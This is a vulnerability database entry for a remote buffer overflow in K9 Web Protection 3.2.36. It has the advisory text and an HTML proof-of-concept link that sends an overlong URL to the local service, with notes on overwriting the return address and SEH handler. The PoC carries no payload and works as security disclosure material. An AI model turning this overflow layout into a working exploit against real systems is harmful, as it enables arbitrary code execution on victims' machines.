Blue Coat Systems K9 Web Protection 32.36 Remote Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Blue Coat Systems K9 Web Protection 32.36 Remote Buffer Overflow Vulnerabilit


                                                source: http://www.securityfocus.com/bid/24373/info

K9 Web Protection is prone to a buffer-overflow vulnerability because it fails to perform sufficient boundary checks on user-supplied data before copying it to a buffer.

An attacker could leverage this issue to execute arbitrary code with administrative privileges. A successful exploit could result in the complete compromise of the affected system.

K9 Web Protection 3.2.36 is reported vulnerable; other versions may be affected as well.

&#60;html&#62;
&#60;head&#62;
&#60;title&#62;CSIS.DK - BlueCoat K9 Web Protection Overflow&#60;/title&#62;
&#60;center&#62;
&#60;/center&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;h4&#62;&#60;center&#62; Discovery and Exploit by Dennis Rand - CSIS.DK&#60;/h4&#62;&#60;/center&#62;
&#60;br&#62;&#60;b&#62;http://127.0.0.1:2372/home.html[Ax168][DCBA][A x 56][BBBB][AAAA] &#60;/b&#62;&#60;br&#62;
&#60;br&#62;&#60;li&#62; Return Address = DCBA
&#60;br&#62;&#60;li&#62; Pointer to the next SEH record = BBBB
&#60;br&#62;&#60;li&#62; SE Handler = AAAA
&#60;br&#62;
&#60;center&#62;
&#60;b&#62;&#60;A
HREF=&#34;http://127.0.0.1:2372/home.htmlAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCC
CDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGHHHHHHHHHHHH
HHHHaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbccccccccDCBAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCC
CCCCCCCCCCCCCDDDDDDDDaaaabbbb&#34;&#62;RUN PoC&#60;/A&#62;&#60;/b&#62;
&#60;/center&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1